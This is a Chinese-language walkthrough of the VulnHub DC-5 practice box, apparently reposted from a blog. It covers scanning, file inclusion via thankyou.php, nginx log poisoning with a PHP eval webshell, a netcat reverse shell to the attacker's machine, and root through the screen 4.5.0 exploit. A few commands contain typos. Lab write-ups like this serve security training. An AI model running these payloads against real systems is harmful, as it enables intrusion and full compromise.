- 1.信息收集
- 2.网站分析
- 3.漏洞利用
- 4.提升权限
1.信息收集
扫描主机
sudo arp-scan -l
扫描端口
nmap -p- 192.168.42.149
扫描指纹
whatweb 192.168.42.149
查看端口详细服务
nmap -A -p- -v 192.168.42.149
2.网站分析
扫描目录
dirbuster
浏览网站,发现都是静态页面
只有contact.php有上传窗口
尝试上传,发现问题copyright旁的数字发生变化,猜测thankyou.php存在文件包含
包含文件为footer.php
3.漏洞利用
开始bp测试字段(下面没图了,bp爆破,网站日志太大,无法连接蚁剑,建议大家在此靶场不要跑bp)
thankyou.php?file=/ect/passwd
植入一句话木马
thankyou.php?file=<?php @eval($_POST[cmd]);?>
由于前面信息收集我们确认了是nginx的站,访问日志和错误日志应该如下
/var/log/nginx/access.log
/var/log/nginx/error.log
文件包含,蚁剑连接shell
thankyou.php?file=/var/log/nginx/error.log
cmd
将shell反弹到kali上便于操作
s:nc hackip 8888 -e /bin/sh
监听
hack:nc -lvp 8888
优化界⾯
python -c "import pty;pty.spawn('/bin/bash')"
4.提升权限
提权常规命令
sudo -l
find / -perm -u=s -type f 2>/dev/null
提权命令网站
https://gtfobins.github.io/
发现screen 4.5.0,查找他的漏洞
searchsploit screen 4.5.0
searchsploit -m linux/local/41154.sh
下载攻击脚本
usr/share/exploitdb/exploits/linux/local/41154.sh
然后在桌面上用vim打开文件
发现脚本由三部分组成,两个c文件,一个命令集,拆分为三部分
(三选其一即可)
1.kali监听端口
python -m SimpleHTTPServer 8000
2.攻击机在kali上下载脚本
``wget 192.168.42.149:8888/libhax.c
wget 192.168.42.149:8888/rootshell.c
wget 192.168.42.149:8888/dc5.sh`
3.用蚁剑上传也可(必须上传在/tmp上,因为脚本写的是/tmp)
给脚本给权限
chmod +x dc5.sh
chmod 777 dc5.sh
在靶机上编译比较好,因为新版的kali可能版本较高
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
./dc5.sh
执行脚本文章来源:https://www.toymoban.com/news/detail-750764.html
提权成功文章来源地址https://www.toymoban.com/news/detail-750764.html
到了这里,关于vulnhub DC-5靶场的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!